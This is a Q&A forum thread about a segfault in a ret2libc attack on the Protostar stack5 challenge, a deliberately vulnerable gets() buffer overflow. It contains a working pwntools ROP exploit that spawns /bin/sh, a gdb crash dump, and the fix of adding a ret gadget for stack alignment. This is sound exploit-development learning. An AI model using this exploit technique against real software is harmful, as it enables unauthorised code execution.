Tim Winters
Tim Winters

Reputation: 339

Segfault in ret2libc attack, but not hardcoded system call

I have the following protostar challenge

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[BUFFSIZE];
  char flagBuffer[64];
  FILE *fp;
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xff000000) == 0xff000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{

  getpath();

}

And am compiling it as 64-bit with

gcc stack5.c -DBUFFSIZE=64 -no-pie -fno-stack-protector -O0 -o stack5

I am using pwntools to craft my exploit. Here is my exploit.py file

from pwn import *

exe = './stack5'

context.clear(arch='amd64')
context.kernel = 'amd64'

system_addr = 0x7ffff7a33440
exit_addr = 0x7ffff7a27120
binsh_addr = 0x7ffff7b97e9a

binary = ELF(exe)
binary.symbols = {'system': system_addr, 'exit': exit_addr}

rop = ROP(binary)
rop.system(binsh_addr)
rop.exit()
print(rop.dump())
payload = cyclic(128)
p = process([exe])
p.sendline(payload)
p.wait()
# Get the core dump
core = Coredump('./core')
print cyclic_find(pack(core.fault_addr))
payload = flat({cyclic_find(pack(core.fault_addr)): rop.chain()})
p = binary.process()
p.recv()
p.sendline(payload)
p.interactive()

This causes a segfault. After saving the payload to a txt file and running with gdb, I find the segfault occurs within do_system

input path please: got path aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaa#@
[New process 23199]

Thread 2.1 "stack5" received signal SIGSEGV, Segmentation fault.
[Switching to process 23199]
[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7b97e97 --> 0x2f6e69622f00632d ('-c')
RBX: 0x0
RCX: 0x7ffff7b97e9f --> 0x2074697865006873 ('sh')
RDX: 0x0
RSI: 0x7ffff7dd16a0 --> 0x0
RDI: 0x2
RBP: 0x7fffffffe1d8 --> 0x0
RSP: 0x7fffffffe178 --> 0x7ffff7a48f26 (<__printf+166>: mov    rcx,QWORD PTR [rsp+0x18])
RIP: 0x7ffff7a332f6 (<do_system+1094>:  movaps XMMWORD PTR [rsp+0x40],xmm0)
R8 : 0x7ffff7dd1600 --> 0x0
R9 : 0x4f ('O')
R10: 0x8
R11: 0x246
R12: 0x7ffff7b97e9a --> 0x68732f6e69622f ('/bin/sh')
R13: 0x7fffffffe3f0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7a332e6 <do_system+1078>: movq   xmm0,QWORD PTR [rsp+0x8]
   0x7ffff7a332ec <do_system+1084>: mov    QWORD PTR [rsp+0x8],rax
   0x7ffff7a332f1 <do_system+1089>: movhps xmm0,QWORD PTR [rsp+0x8]
=> 0x7ffff7a332f6 <do_system+1094>: movaps XMMWORD PTR [rsp+0x40],xmm0
   0x7ffff7a332fb <do_system+1099>: call   0x7ffff7a23110 <__GI___sigaction>
   0x7ffff7a33300 <do_system+1104>: lea    rsi,[rip+0x39e2f9]        # 0x7ffff7dd1600 <quit>
   0x7ffff7a33307 <do_system+1111>: xor    edx,edx
   0x7ffff7a33309 <do_system+1113>: mov    edi,0x3
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe178 --> 0x7ffff7a48f26 (<__printf+166>:    mov    rcx,QWORD PTR [rsp+0x18])
0008| 0x7fffffffe180 --> 0x7ffff7b97e97 --> 0x2f6e69622f00632d ('-c')
0016| 0x7fffffffe188 --> 0x7fffffffe260 --> 0x10000
0024| 0x7fffffffe190 --> 0xffffe1a0
0032| 0x7fffffffe198 --> 0x7ffff7a33360 (<cancel_handler>:  push   rbx)
0040| 0x7fffffffe1a0 --> 0x7fffffffe194 --> 0xf7a3336000000000
0048| 0x7fffffffe1a8 --> 0x7fffffffe2a0 --> 0x0
0056| 0x7fffffffe1b0 --> 0x7ffff7dd18d0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff7a332f6 in do_system (line=0x7ffff7b97e9a "/bin/sh") at ../sysdeps/posix/system.c:125
125 ../sysdeps/posix/system.c: No such file or directory.

What is confusing is when I add a call to system("/bin/sh"); into the c code, the call works and I pop a shell, but when I call system through a ret2libc attack, it segfaults.

Upvotes: 6

Views: 4561

Answers (1)

Tim Winters
Tim Winters

Reputation: 339

After searching the instruction movaps segfault I came across this site that explains the issue.

The MOVAPS issue

If you're using Ubuntu 18.04 and segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the 64 bit challenges then ensure the stack is 16 byte aligned before returning to GLIBC functions such as printf() and system(). The version of GLIBC packaged with Ubuntu 18.04 uses movaps instructions to move data onto the stack in some functions. The 64 bit calling convention requires the stack to be 16 byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.

Simply adding a call to a ret gadget before the call to system aligned bytes, and allowed me to pop a shell.

Upvotes: 9

Related Questions